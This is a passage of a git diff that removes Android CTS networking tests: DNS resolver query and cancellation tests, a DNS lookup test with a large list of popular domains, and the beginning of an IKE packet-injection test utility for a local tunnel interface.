-                final CancellationSignal cancelSignal = new CancellationSignal();
-                final VerifyCancelCallback callback = new VerifyCancelCallback(msg, cancelSignal);
-                mDns.rawQuery(network, TEST_BLOB, FLAG_EMPTY, mExecutor, cancelSignal, callback);
-                mExecutor.execute(() -> {
-                    cancelSignal.cancel();
-                    latch.countDown();
-                });
-
-                retry = callback.needRetry();
-                assertTrue(msg + " cancel is not done",
-                        latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-            } while (retry);
-        }
-    }
-
-    public void testCancelBeforeQuery() throws InterruptedException {
-        final String msg = "Test cancelled RawQuery " + TEST_DOMAIN;
-        for (Network network : getTestableNetworks()) {
-            final VerifyCancelCallback callback = new VerifyCancelCallback(msg);
-            final CancellationSignal cancelSignal = new CancellationSignal();
-            cancelSignal.cancel();
-            mDns.rawQuery(network, TEST_DOMAIN, CLASS_IN, TYPE_AAAA, FLAG_EMPTY,
-                    mExecutor, cancelSignal, callback);
-
-            assertTrue(msg + " should not return any answers",
-                    !callback.waitForAnswer(CANCEL_TIMEOUT_MS));
-        }
-    }
-
-    /**
-     * A query callback for InetAddress that ensures that the query is
-     * cancelled and that onAnswer is never called. If the query succeeds
-     * before it is cancelled, needRetry will return true so the
-     * test can retry.
-     */
-    class VerifyCancelInetAddressCallback implements DnsResolver.Callback<List<InetAddress>> {
-        private final CountDownLatch mLatch = new CountDownLatch(1);
-        private final String mMsg;
-        private final List<InetAddress> mAnswers;
-        private final CancellationSignal mCancelSignal;
-        private String mErrorMsg = null;
-
-        VerifyCancelInetAddressCallback(@NonNull String msg, @Nullable CancellationSignal cancel) {
-            this.mMsg = msg;
-            this.mCancelSignal = cancel;
-            mAnswers = new ArrayList<>();
-        }
-
-        public boolean waitForAnswer() throws InterruptedException {
-            return mLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS);
-        }
-
-        public boolean needRetry() throws InterruptedException {
-            return mLatch.await(CANCEL_TIMEOUT_MS, TimeUnit.MILLISECONDS);
-        }
-
-        public boolean isAnswerEmpty() {
-            return mAnswers.isEmpty();
-        }
-
-        public boolean hasIpv6Answer() {
-            for (InetAddress answer : mAnswers) {
-                if (answer instanceof Inet6Address) return true;
-            }
-            return false;
-        }
-
-        public boolean hasIpv4Answer() {
-            for (InetAddress answer : mAnswers) {
-                if (answer instanceof Inet4Address) return true;
-            }
-            return false;
-        }
-
-        public void assertNoError() {
-            assertNull(mErrorMsg);
-        }
-
-        @Override
-        public void onAnswer(@NonNull List<InetAddress> answerList, int rcode) {
-            if (mCancelSignal != null && mCancelSignal.isCanceled()) {
-                mErrorMsg = mMsg + " should not have returned any answers";
-                mLatch.countDown();
-                return;
-            }
-            for (InetAddress addr : answerList) {
-                Log.d(TAG, "Reported addr: " + addr.toString());
-            }
-            mAnswers.clear();
-            mAnswers.addAll(answerList);
-            mLatch.countDown();
-        }
-
-        @Override
-        public void onError(@NonNull DnsResolver.DnsException error) {
-            mErrorMsg = mMsg + error.getMessage();
-        }
-    }
-
-    public void testQueryForInetAddress() throws Exception {
-        doTestQueryForInetAddress(mExecutor);
-    }
-
-    public void testQueryForInetAddressInline() throws Exception {
-        doTestQueryForInetAddress(mExecutorInline);
-    }
-
-    public void testQueryForInetAddressIpv4() throws Exception {
-        doTestQueryForInetAddressIpv4(mExecutor);
-    }
-
-    public void testQueryForInetAddressIpv4Inline() throws Exception {
-        doTestQueryForInetAddressIpv4(mExecutorInline);
-    }
-
-    public void testQueryForInetAddressIpv6() throws Exception {
-        doTestQueryForInetAddressIpv6(mExecutor);
-    }
-
-    public void testQueryForInetAddressIpv6Inline() throws Exception {
-        doTestQueryForInetAddressIpv6(mExecutorInline);
-    }
-
-    public void testContinuousQueries() throws Exception {
-        doTestContinuousQueries(mExecutor);
-    }
-
-    @SkipPresubmit(reason = "Flaky: b/159762682; add to presubmit after fixing")
-    public void testContinuousQueriesInline() throws Exception {
-        doTestContinuousQueries(mExecutorInline);
-    }
-
-    public void doTestQueryForInetAddress(Executor executor) throws InterruptedException {
-        final String msg = "Test query for InetAddress " + TEST_DOMAIN;
-        for (Network network : getTestableNetworks()) {
-            final VerifyCancelInetAddressCallback callback =
-                    new VerifyCancelInetAddressCallback(msg, null);
-            mDns.query(network, TEST_DOMAIN, FLAG_NO_CACHE_LOOKUP, executor, null, callback);
-
-            assertTrue(msg + " but no answer after " + TIMEOUT_MS + "ms.",
-                    callback.waitForAnswer());
-            callback.assertNoError();
-            assertTrue(msg + " returned 0 results", !callback.isAnswerEmpty());
-        }
-    }
-
-    public void testQueryCancelForInetAddress() throws InterruptedException {
-        final String msg = "Test cancel query for InetAddress " + TEST_DOMAIN;
-        // Start a DNS query and the cancel it immediately. Use VerifyCancelInetAddressCallback to
-        // expect that the query is cancelled before it succeeds. If it is not cancelled before it
-        // succeeds, retry the test until it is.
-        for (Network network : getTestableNetworks()) {
-            boolean retry = false;
-            int round = 0;
-            do {
-                if (++round > CANCEL_RETRY_TIMES) {
-                    fail(msg + " cancel failed " + CANCEL_RETRY_TIMES + " times");
-                }
-                final CountDownLatch latch = new CountDownLatch(1);
-                final CancellationSignal cancelSignal = new CancellationSignal();
-                final VerifyCancelInetAddressCallback callback =
-                        new VerifyCancelInetAddressCallback(msg, cancelSignal);
-                mDns.query(network, TEST_DOMAIN, FLAG_EMPTY, mExecutor, cancelSignal, callback);
-                mExecutor.execute(() -> {
-                    cancelSignal.cancel();
-                    latch.countDown();
-                });
-
-                retry = callback.needRetry();
-                assertTrue(msg + " query was not cancelled",
-                        latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-            } while (retry);
-        }
-    }
-
-    public void doTestQueryForInetAddressIpv4(Executor executor) throws InterruptedException {
-        final String msg = "Test query for IPv4 InetAddress " + TEST_DOMAIN;
-        for (Network network : getTestableNetworks()) {
-            final VerifyCancelInetAddressCallback callback =
-                    new VerifyCancelInetAddressCallback(msg, null);
-            mDns.query(network, TEST_DOMAIN, TYPE_A, FLAG_NO_CACHE_LOOKUP,
-                    executor, null, callback);
-
-            assertTrue(msg + " but no answer after " + TIMEOUT_MS + "ms.",
-                    callback.waitForAnswer());
-            callback.assertNoError();
-            assertTrue(msg + " returned 0 results", !callback.isAnswerEmpty());
-            assertTrue(msg + " returned Ipv6 results", !callback.hasIpv6Answer());
-        }
-    }
-
-    public void doTestQueryForInetAddressIpv6(Executor executor) throws InterruptedException {
-        final String msg = "Test query for IPv6 InetAddress " + TEST_DOMAIN;
-        for (Network network : getTestableNetworks()) {
-            final VerifyCancelInetAddressCallback callback =
-                    new VerifyCancelInetAddressCallback(msg, null);
-            mDns.query(network, TEST_DOMAIN, TYPE_AAAA, FLAG_NO_CACHE_LOOKUP,
-                    executor, null, callback);
-
-            assertTrue(msg + " but no answer after " + TIMEOUT_MS + "ms.",
-                    callback.waitForAnswer());
-            callback.assertNoError();
-            assertTrue(msg + " returned 0 results", !callback.isAnswerEmpty());
-            assertTrue(msg + " returned Ipv4 results", !callback.hasIpv4Answer());
-        }
-    }
-
-    public void testPrivateDnsBypass() throws InterruptedException {
-        final Network[] testNetworks = getTestableNetworks();
-
-        // Set an invalid private DNS server
-        mCtsNetUtils.setPrivateDnsStrictMode(INVALID_PRIVATE_DNS_SERVER);
-        final String msg = "Test PrivateDnsBypass " + TEST_DOMAIN;
-        for (Network network : testNetworks) {
-            // This test cannot be ran with null network because we need to explicitly pass a
-            // private DNS bypassable network or bind one.
-            if (network == null) continue;
-
-            // wait for private DNS setting propagating
-            mCtsNetUtils.awaitPrivateDnsSetting(msg + " wait private DNS setting timeout",
-                    network, INVALID_PRIVATE_DNS_SERVER, false);
-
-            final CountDownLatch latch = new CountDownLatch(1);
-            final DnsResolver.Callback<List<InetAddress>> errorCallback =
-                    new DnsResolver.Callback<List<InetAddress>>() {
-                        @Override
-                        public void onAnswer(@NonNull List<InetAddress> answerList, int rcode) {
-                            fail(msg + " should not get valid answer");
-                        }
-
-                        @Override
-                        public void onError(@NonNull DnsResolver.DnsException error) {
-                            assertEquals(DnsResolver.ERROR_SYSTEM, error.code);
-                            assertEquals(ETIMEDOUT, ((ErrnoException) error.getCause()).errno);
-                            latch.countDown();
-                        }
-                    };
-            // Private DNS strict mode with invalid DNS server is set
-            // Expect no valid answer returned but ErrnoException with ETIMEDOUT
-            mDns.query(network, TEST_DOMAIN, FLAG_NO_CACHE_LOOKUP, mExecutor, null, errorCallback);
-
-            assertTrue(msg + " invalid server round. No response after " + TIMEOUT_MS + "ms.",
-                    latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-
-            final VerifyCancelInetAddressCallback callback =
-                    new VerifyCancelInetAddressCallback(msg, null);
-            // Bypass privateDns, expect query works fine
-            mDns.query(network.getPrivateDnsBypassingCopy(),
-                    TEST_DOMAIN, FLAG_NO_CACHE_LOOKUP, mExecutor, null, callback);
-
-            assertTrue(msg + " bypass private DNS round. No answer after " + TIMEOUT_MS + "ms.",
-                    callback.waitForAnswer());
-            callback.assertNoError();
-            assertTrue(msg + " returned 0 results", !callback.isAnswerEmpty());
-
-            // To ensure private DNS bypass still work even if passing null network.
-            // Bind process network with a private DNS bypassable network.
-            mCM.bindProcessToNetwork(network.getPrivateDnsBypassingCopy());
-            final VerifyCancelInetAddressCallback callbackWithNullNetwork =
-                    new VerifyCancelInetAddressCallback(msg + " with null network ", null);
-            mDns.query(null,
-                    TEST_DOMAIN, FLAG_NO_CACHE_LOOKUP, mExecutor, null, callbackWithNullNetwork);
-
-            assertTrue(msg + " with null network bypass private DNS round. No answer after " +
-                    TIMEOUT_MS + "ms.", callbackWithNullNetwork.waitForAnswer());
-            callbackWithNullNetwork.assertNoError();
-            assertTrue(msg + " with null network returned 0 results",
-                    !callbackWithNullNetwork.isAnswerEmpty());
-
-            // Reset process network to default.
-            mCM.bindProcessToNetwork(null);
-        }
-    }
-
-    public void doTestContinuousQueries(Executor executor) throws InterruptedException {
-        final String msg = "Test continuous " + QUERY_TIMES + " queries " + TEST_DOMAIN;
-        for (Network network : getTestableNetworks()) {
-            for (int i = 0; i < QUERY_TIMES ; ++i) {
-                final VerifyCancelInetAddressCallback callback =
-                        new VerifyCancelInetAddressCallback(msg, null);
-                // query v6/v4 in turn
-                boolean queryV6 = (i % 2 == 0);
-                mDns.query(network, TEST_DOMAIN, queryV6 ? TYPE_AAAA : TYPE_A,
-                        FLAG_NO_CACHE_LOOKUP, executor, null, callback);
-
-                assertTrue(msg + " but no answer after " + TIMEOUT_MS + "ms.",
-                        callback.waitForAnswer());
-                callback.assertNoError();
-                assertTrue(msg + " returned 0 results", !callback.isAnswerEmpty());
-                assertTrue(msg + " returned " + (queryV6 ? "Ipv4" : "Ipv6") + " results",
-                        queryV6 ? !callback.hasIpv4Answer() : !callback.hasIpv6Answer());
-            }
-        }
-    }
-}
diff --git a/tests/tests/net/src/android/net/cts/DnsTest.java b/tests/tests/net/src/android/net/cts/DnsTest.java
deleted file mode 100644
index fde27e9..0000000
--- a/tests/tests/net/src/android/net/cts/DnsTest.java
+++ /dev/null
@@ -1,309 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.cts;
-
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.net.ConnectivityManager;
-import android.net.ConnectivityManager.NetworkCallback;
-import android.net.LinkProperties;
-import android.net.Network;
-import android.net.NetworkInfo;
-import android.os.SystemClock;
-import android.test.AndroidTestCase;
-import android.util.Log;
-
-import com.android.testutils.SkipPresubmit;
-
-import java.net.Inet4Address;
-import java.net.Inet6Address;
-import java.net.InetAddress;
-import java.net.UnknownHostException;
-import java.util.ArrayList;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-public class DnsTest extends AndroidTestCase {
-
-    static {
-        System.loadLibrary("nativedns_jni");
-    }
-
-    private static final boolean DBG = false;
-    private static final String TAG = "DnsTest";
-    private static final String PROXY_NETWORK_TYPE = "PROXY";
-
-    private ConnectivityManager mCm;
-
-    public void setUp() {
-        mCm = getContext().getSystemService(ConnectivityManager.class);
-    }
-
-    /**
-     * @return true on success
-     */
-    private static native boolean testNativeDns();
-
-    /**
-     * Verify:
-     * DNS works - forwards and backwards, giving ipv4 and ipv6
-     * Test that DNS work on v4 and v6 networks
-     * Test Native dns calls (4)
-     * Todo:
-     * Cache is flushed when we change networks
-     * have per-network caches
-     * No cache when there's no network
-     * Perf - measure size of first and second tier caches and their effect
-     * Assert requires network permission
-     */
-    @SkipPresubmit(reason = "IPv6 support may be missing on presubmit virtual hardware")
-    public void testDnsWorks() throws Exception {
-        ensureIpv6Connectivity();
-
-        InetAddress addrs[] = {};
-        try {
-            addrs = InetAddress.getAllByName("www.google.com");
-        } catch (UnknownHostException e) {}
-        assertTrue("[RERUN] DNS could not resolve www.google.com. Check internet connection",
-                addrs.length != 0);
-        boolean foundV4 = false, foundV6 = false;
-        for (InetAddress addr : addrs) {
-            if (addr instanceof Inet4Address) foundV4 = true;
-            else if (addr instanceof Inet6Address) foundV6 = true;
-            if (DBG) Log.e(TAG, "www.google.com gave " + addr.toString());
-        }
-
-        // We should have at least one of the addresses to connect!
-        assertTrue("www.google.com must have IPv4 and/or IPv6 address", foundV4 || foundV6);
-
-        // Skip the rest of the test if the active network for watch is PROXY.
-        // TODO: Check NetworkInfo type in addition to type name once ag/601257 is merged.
-        if (getContext().getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH)
-                && activeNetworkInfoIsProxy()) {
-            Log.i(TAG, "Skipping test because the active network type name is PROXY.");
-            return;
-        }
-
-        // Clear test state so we don't get confused with the previous results.
-        addrs = new InetAddress[0];
-        foundV4 = foundV6 = false;
-        try {
-            addrs = InetAddress.getAllByName("ipv6.google.com");
-        } catch (UnknownHostException e) {}
-        String msg =
-            "[RERUN] DNS could not resolve ipv6.google.com, check the network supports IPv6. lp=" +
-            mCm.getActiveLinkProperties();
-        assertTrue(msg, addrs.length != 0);
-        for (InetAddress addr : addrs) {
-            msg = "[RERUN] ipv6.google.com returned IPv4 address: " + addr.getHostAddress() +
-                    ", check your network's DNS server. lp=" + mCm.getActiveLinkProperties();
-            assertFalse (msg, addr instanceof Inet4Address);
-            foundV6 |= (addr instanceof Inet6Address);
-            if (DBG) Log.e(TAG, "ipv6.google.com gave " + addr.toString());
-        }
-
-        assertTrue(foundV6);
-
-        assertTrue(testNativeDns());
-    }
-
-    private static final String[] URLS = { "www.google.com", "ipv6.google.com", "www.yahoo.com",
-            "facebook.com", "youtube.com", "blogspot.com", "baidu.com", "wikipedia.org",
-// live.com fails rev lookup.
-            "twitter.com", "qq.com", "msn.com", "yahoo.co.jp", "linkedin.com",
-            "taobao.com", "google.co.in", "sina.com.cn", "amazon.com", "wordpress.com",
-            "google.co.uk", "ebay.com", "yandex.ru", "163.com", "google.co.jp", "google.fr",
-            "microsoft.com", "paypal.com", "google.com.br", "flickr.com",
-            "mail.ru", "craigslist.org", "fc2.com", "google.it",
-// "apple.com", fails rev lookup
-            "google.es",
-            "imdb.com", "google.ru", "soho.com", "bbc.co.uk", "vkontakte.ru", "ask.com",
-            "tumblr.com", "weibo.com", "go.com", "xvideos.com", "livejasmin.com", "cnn.com",
-            "youku.com", "blogspot.com", "soso.com", "google.ca", "aol.com", "tudou.com",
-            "xhamster.com", "megaupload.com", "ifeng.com", "zedo.com", "mediafire.com", "ameblo.jp",
-            "pornhub.com", "google.co.id", "godaddy.com", "adobe.com", "rakuten.co.jp", "about.com",
-            "espn.go.com", "4shared.com", "alibaba.com","ebay.de", "yieldmanager.com",
-            "wordpress.org", "livejournal.com", "google.com.tr", "google.com.mx", "renren.com",
-           "livedoor.com", "google.com.au", "youporn.com", "uol.com.br", "cnet.com", "conduit.com",
-            "google.pl", "myspace.com", "nytimes.com", "ebay.co.uk", "chinaz.com", "hao123.com",
-            "thepiratebay.org", "doubleclick.com", "alipay.com", "netflix.com", "cnzz.com",
-            "huffingtonpost.com", "twitpic.com", "weather.com", "babylon.com", "amazon.de",
-            "dailymotion.com", "orkut.com", "orkut.com.br", "google.com.sa", "odnoklassniki.ru",
-            "amazon.co.jp", "google.nl", "goo.ne.jp", "stumbleupon.com", "tube8.com", "tmall.com",
-            "imgur.com", "globo.com", "secureserver.net", "fileserve.com", "tianya.cn", "badoo.com",
-            "ehow.com", "photobucket.com", "imageshack.us", "xnxx.com", "deviantart.com",
-            "filestube.com", "addthis.com", "douban.com", "vimeo.com", "sogou.com",
-            "stackoverflow.com", "reddit.com", "dailymail.co.uk", "redtube.com", "megavideo.com",
-            "taringa.net", "pengyou.com", "amazon.co.uk", "fbcdn.net", "aweber.com", "spiegel.de",
-            "rapidshare.com", "mixi.jp", "360buy.com", "google.cn", "digg.com", "answers.com",
-            "bit.ly", "indiatimes.com", "skype.com", "yfrog.com", "optmd.com", "google.com.eg",
-            "google.com.pk", "58.com", "hotfile.com", "google.co.th",
-            "bankofamerica.com", "sourceforge.net", "maktoob.com", "warriorforum.com", "rediff.com",
-            "google.co.za", "56.com", "torrentz.eu", "clicksor.com", "avg.com",
-            "download.com", "ku6.com", "statcounter.com", "foxnews.com", "google.com.ar",
-            "nicovideo.jp", "reference.com", "liveinternet.ru", "ucoz.ru", "xinhuanet.com",
-            "xtendmedia.com", "naver.com", "youjizz.com", "domaintools.com", "sparkstudios.com",
-            "rambler.ru", "scribd.com", "kaixin001.com", "mashable.com", "adultfirendfinder.com",
-            "files.wordpress.com", "guardian.co.uk", "bild.de", "yelp.com", "wikimedia.org",
-            "chase.com", "onet.pl", "ameba.jp", "pconline.com.cn", "free.fr", "etsy.com",
-            "typepad.com", "youdao.com", "megaclick.com", "digitalpoint.com", "blogfa.com",
-            "salesforce.com", "adf.ly", "ganji.com", "wikia.com", "archive.org", "terra.com.br",
-            "w3schools.com", "ezinearticles.com", "wjs.com", "google.com.my", "clickbank.com",
-            "squidoo.com", "hulu.com", "repubblica.it", "google.be", "allegro.pl", "comcast.net",
-            "narod.ru", "zol.com.cn", "orange.fr", "soufun.com", "hatena.ne.jp", "google.gr",
-            "in.com", "techcrunch.com", "orkut.co.in", "xunlei.com",
-            "reuters.com", "google.com.vn", "hostgator.com", "kaskus.us", "espncricinfo.com",
-            "hootsuite.com", "qiyi.com", "gmx.net", "xing.com", "php.net", "soku.com", "web.de",
-            "libero.it", "groupon.com", "51.la", "slideshare.net", "booking.com", "seesaa.net",
-            "126.com", "telegraph.co.uk", "wretch.cc", "twimg.com", "rutracker.org", "angege.com",
-            "nba.com", "dell.com", "leboncoin.fr", "people.com", "google.com.tw", "walmart.com",
-            "daum.net", "2ch.net", "constantcontact.com", "nifty.com", "mywebsearch.com",
-            "tripadvisor.com", "google.se", "paipai.com", "google.com.ua", "ning.com", "hp.com",
-            "google.at", "joomla.org", "icio.us", "hudong.com", "csdn.net", "getfirebug.com",
-            "ups.com", "cj.com", "google.ch", "camzap.com", "wordreference.com", "tagged.com",
-            "wp.pl", "mozilla.com", "google.ru", "usps.com", "china.com", "themeforest.net",
-            "search-results.com", "tribalfusion.com", "thefreedictionary.com", "isohunt.com",
-            "linkwithin.com", "cam4.com", "plentyoffish.com", "wellsfargo.com", "metacafe.com",
-            "depositfiles.com", "freelancer.com", "opendns.com", "homeway.com", "engadget.com",
-            "10086.cn", "360.cn", "marca.com", "dropbox.com", "ign.com", "match.com", "google.pt",
-            "facemoods.com", "hardsextube.com", "google.com.ph", "lockerz.com", "istockphoto.com",
-            "partypoker.com", "netlog.com", "outbrain.com", "elpais.com", "fiverr.com",
-            "biglobe.ne.jp", "corriere.it", "love21cn.com", "yesky.com", "spankwire.com",
-            "ig.com.br", "imagevenue.com", "hubpages.com", "google.co.ve"};
-
-// TODO - this works, but is slow and cts doesn't do anything with the result.
-// Maybe require a min performance, a min cache size (detectable) and/or move
-// to perf testing
-    private static final int LOOKUP_COUNT_GOAL = URLS.length;
-    public void skiptestDnsPerf() {
-        ArrayList<String> results = new ArrayList<String>();
-        int failures = 0;
-        try {
-            for (int numberOfUrls = URLS.length; numberOfUrls > 0; numberOfUrls--) {
-                failures = 0;
-                int iterationLimit = LOOKUP_COUNT_GOAL / numberOfUrls;
-                long startTime = SystemClock.elapsedRealtimeNanos();
-                for (int iteration = 0; iteration < iterationLimit; iteration++) {
-                    for (int urlIndex = 0; urlIndex < numberOfUrls; urlIndex++) {
-                        try {
-                            InetAddress addr = InetAddress.getByName(URLS[urlIndex]);
-                        } catch (UnknownHostException e) {
-                            Log.e(TAG, "failed first lookup of " + URLS[urlIndex]);
-                            failures++;
-                            try {
-                                InetAddress addr = InetAddress.getByName(URLS[urlIndex]);
-                            } catch (UnknownHostException ee) {
-                                failures++;
-                                Log.e(TAG, "failed SECOND lookup of " + URLS[urlIndex]);
-                            }
-                        }
-                    }
-                }
-                long endTime = SystemClock.elapsedRealtimeNanos();
-                float nsPer = ((float)(endTime-startTime) / iterationLimit) / numberOfUrls/ 1000;
-                String thisResult = new String("getByName for " + numberOfUrls + " took " +
-                        (endTime - startTime)/1000 + "(" + nsPer + ") with " +
-                        failures + " failures\n");
-                Log.d(TAG, thisResult);
-                results.add(thisResult);
-            }
-            // build up a list of addresses
-            ArrayList<byte[]> addressList = new ArrayList<byte[]>();
-            for (String url : URLS) {
-                try {
-                    InetAddress addr = InetAddress.getByName(url);
-                    addressList.add(addr.getAddress());
-                } catch (UnknownHostException e) {
-                    Log.e(TAG, "Exception making reverseDNS list: " + e.toString());
-                }
-            }
-            for (int numberOfAddrs = addressList.size(); numberOfAddrs > 0; numberOfAddrs--) {
-                int iterationLimit = LOOKUP_COUNT_GOAL / numberOfAddrs;
-                failures = 0;
-                long startTime = SystemClock.elapsedRealtimeNanos();
-                for (int iteration = 0; iteration < iterationLimit; iteration++) {
-                    for (int addrIndex = 0; addrIndex < numberOfAddrs; addrIndex++) {
-                        try {
-                            InetAddress addr = InetAddress.getByAddress(addressList.get(addrIndex));
-                            String hostname = addr.getHostName();
-                        } catch (UnknownHostException e) {
-                            failures++;
-                            Log.e(TAG, "Failure doing reverse DNS lookup: " + e.toString());
-                            try {
-                                InetAddress addr =
-                                        InetAddress.getByAddress(addressList.get(addrIndex));
-                                String hostname = addr.getHostName();
-
-                            } catch (UnknownHostException ee) {
-                                failures++;
-                                Log.e(TAG, "Failure doing SECOND reverse DNS lookup: " +
-                                        ee.toString());
-                            }
-                        }
-                    }
-                }
-                long endTime = SystemClock.elapsedRealtimeNanos();
-                float nsPer = ((endTime-startTime) / iterationLimit) / numberOfAddrs / 1000;
-                String thisResult = new String("getHostName for " + numberOfAddrs + " took " +
-                        (endTime - startTime)/1000 + "(" + nsPer + ") with " +
-                        failures + " failures\n");
-                Log.d(TAG, thisResult);
-                results.add(thisResult);
-            }
-            for (String result : results) Log.d(TAG, result);
-
-            InetAddress exit = InetAddress.getByName("exitrightnow.com");
-            Log.e(TAG, " exit address= "+exit.toString());
-
-        } catch (Exception e) {
-            Log.e(TAG, "bad URL in testDnsPerf: " + e.toString());
-        }
-    }
-
-    private boolean activeNetworkInfoIsProxy() {
-        NetworkInfo info = mCm.getActiveNetworkInfo();
-        if (PROXY_NETWORK_TYPE.equals(info.getTypeName())) {
-            return true;
-        }
-
-        return false;
-    }
-
-    private void ensureIpv6Connectivity() throws InterruptedException {
-        CountDownLatch latch = new CountDownLatch(1);
-        final int TIMEOUT_MS = 5_000;
-
-        final NetworkCallback callback = new NetworkCallback() {
-            @Override
-            public void onLinkPropertiesChanged(Network network, LinkProperties lp) {
-                if (lp.hasGlobalIpv6Address()) {
-                    latch.countDown();
-                }
-            }
-        };
-        mCm.registerDefaultNetworkCallback(callback);
-
-        String msg = "Default network did not provide IPv6 connectivity after " + TIMEOUT_MS
-                + "ms. Please connect to an IPv6-capable network. lp="
-                + mCm.getActiveLinkProperties();
-        try {
-            assertTrue(msg, latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-        } finally {
-            mCm.unregisterNetworkCallback(callback);
-        }
-    }
-}
diff --git a/tests/tests/net/src/android/net/cts/IkeTunUtils.java b/tests/tests/net/src/android/net/cts/IkeTunUtils.java
deleted file mode 100644
index fc25292..0000000
--- a/tests/tests/net/src/android/net/cts/IkeTunUtils.java
+++ /dev/null
@@ -1,188 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.net.cts;
-
-import static android.net.cts.PacketUtils.BytePayload;
-import static android.net.cts.PacketUtils.IP4_HDRLEN;
-import static android.net.cts.PacketUtils.IP6_HDRLEN;
-import static android.net.cts.PacketUtils.IpHeader;
-import static android.net.cts.PacketUtils.UDP_HDRLEN;
-import static android.net.cts.PacketUtils.UdpHeader;
-import static android.net.cts.PacketUtils.getIpHeader;
-import static android.system.OsConstants.IPPROTO_UDP;
-
-import android.os.ParcelFileDescriptor;
-
-import java.net.InetAddress;
-import java.nio.ByteBuffer;
-import java.util.Arrays;
-
-// TODO: Merge this with the version in the IPsec module (IKEv2 library) CTS tests.
-/** An extension of the TunUtils class with IKE-specific packet handling. */
-public class IkeTunUtils extends TunUtils {
-    private static final int PORT_LEN = 2;
-
-    private static final byte[] NON_ESP_MARKER = new byte[] {0, 0, 0, 0};
-
-    private static final int IKE_HEADER_LEN = 28;
-    private static final int IKE_SPI_LEN = 8;
-    private static final int IKE_IS_RESP_BYTE_OFFSET = 19;
-    private static final int IKE_MSG_ID_OFFSET = 20;
-    private static final int IKE_MSG_ID_LEN = 4;
-
-    public IkeTunUtils(ParcelFileDescriptor tunFd) {
-        super(tunFd);
-    }
-
-    /**
-     * Await an expected IKE request and inject an IKE response.
-     *
-     * @param respIkePkt IKE response packet without IP/UDP headers or NON ESP MARKER.
-     */
-    public byte[] awaitReqAndInjectResp(long expectedInitIkeSpi, int expectedMsgId,
-            boolean encapExpected, byte[] respIkePkt) throws Exception {
-        final byte[] request = awaitIkePacket(expectedInitIkeSpi, expectedMsgId, encapExpected);
-
-        // Build response header by flipping address and port
-        final InetAddress srcAddr = getDstAddress(request);
-        final InetAddress dstAddr = getSrcAddress(request);
-        final int srcPort = getDstPort(request);
-        final int dstPort = getSrcPort(request);
-
-        final byte[] response =
-                buildIkePacket(srcAddr, dstAddr, srcPort, dstPort, encapExpected, respIkePkt);
-        injectPacket(response);
-        return request;
-    }
-
-    private byte[] awaitIkePacket(long expectedInitIkeSpi, int expectedMsgId, boolean expectEncap)
-            throws Exception {
-        return super.awaitPacket(pkt -> isIke(pkt, expectedInitIkeSpi, expectedMsgId, expectEncap));
-    }
-
-    private static boolean isIke(
-            byte[] pkt, long expectedInitIkeSpi, int expectedMsgId, boolean encapExpected) {
-        final int ipProtocolOffset;
-        final int ikeOffset;
-
-        if (isIpv6(pkt)) {
-            ipProtocolOffset = IP6_PROTO_OFFSET;
-            ikeOffset = IP6_HDRLEN + UDP_HDRLEN;
-        } else {
-            if (encapExpected && !hasNonEspMarkerv4(pkt)) {
-                return false;
-            }
-
-            // Use default IPv4 header length (assuming no options)
-            final int encapMarkerLen = encapExpected ? NON_ESP_MARKER.length : 0;
-            ipProtocolOffset = IP4_PROTO_OFFSET;
-            ikeOffset = IP4_HDRLEN + UDP_HDRLEN + encapMarkerLen;
-        }
-
-        return pkt[ipProtocolOffset] == IPPROTO_UDP
-                && areSpiAndMsgIdEqual(pkt, ikeOffset, expectedInitIkeSpi, expectedMsgId);
-    }
-
-    /** Checks if the provided IPv4 packet has a UDP-encapsulation NON-ESP marker */
-    private static boolean hasNonEspMarkerv4(byte[] ipv4Pkt) {
-        final int nonEspMarkerOffset = IP4_HDRLEN + UDP_HDRLEN;
-        if (ipv4Pkt.length < nonEspMarkerOffset + NON_ESP_MARKER.length) {
-            return false;
-        }
-
-        final byte[] nonEspMarker = Arrays.copyOfRange(
-                ipv4Pkt, nonEspMarkerOffset, nonEspMarkerOffset + NON_ESP_MARKER.length);
-        return Arrays.equals(NON_ESP_MARKER, nonEspMarker);
-    }
-
-    private static boolean areSpiAndMsgIdEqual(
-            byte[] pkt, int ikeOffset, long expectedIkeInitSpi, int expectedMsgId) {
-        if (pkt.length <= ikeOffset + IKE_HEADER_LEN) {
-            return false;
-        }
-
-        final ByteBuffer buffer = ByteBuffer.wrap(pkt);
-        final long spi = buffer.getLong(ikeOffset);
-        final int msgId = buffer.getInt(ikeOffset + IKE_MSG_ID_OFFSET);
-
-        return expectedIkeInitSpi == spi && expectedMsgId == msgId;
-    }
-
-    private static InetAddress getSrcAddress(byte[] pkt) throws Exception {
-        return getAddress(pkt, true);
-    }
-
-    private static InetAddress getDstAddress(byte[] pkt) throws Exception {
-        return getAddress(pkt, false);
-    }
-
-    private static InetAddress getAddress(byte[] pkt, boolean getSrcAddr) throws Exception {
-        final int ipLen = isIpv6(pkt) ? IP6_ADDR_LEN : IP4_ADDR_LEN;
-        final int srcIpOffset = isIpv6(pkt) ? IP6_ADDR_OFFSET : IP4_ADDR_OFFSET;
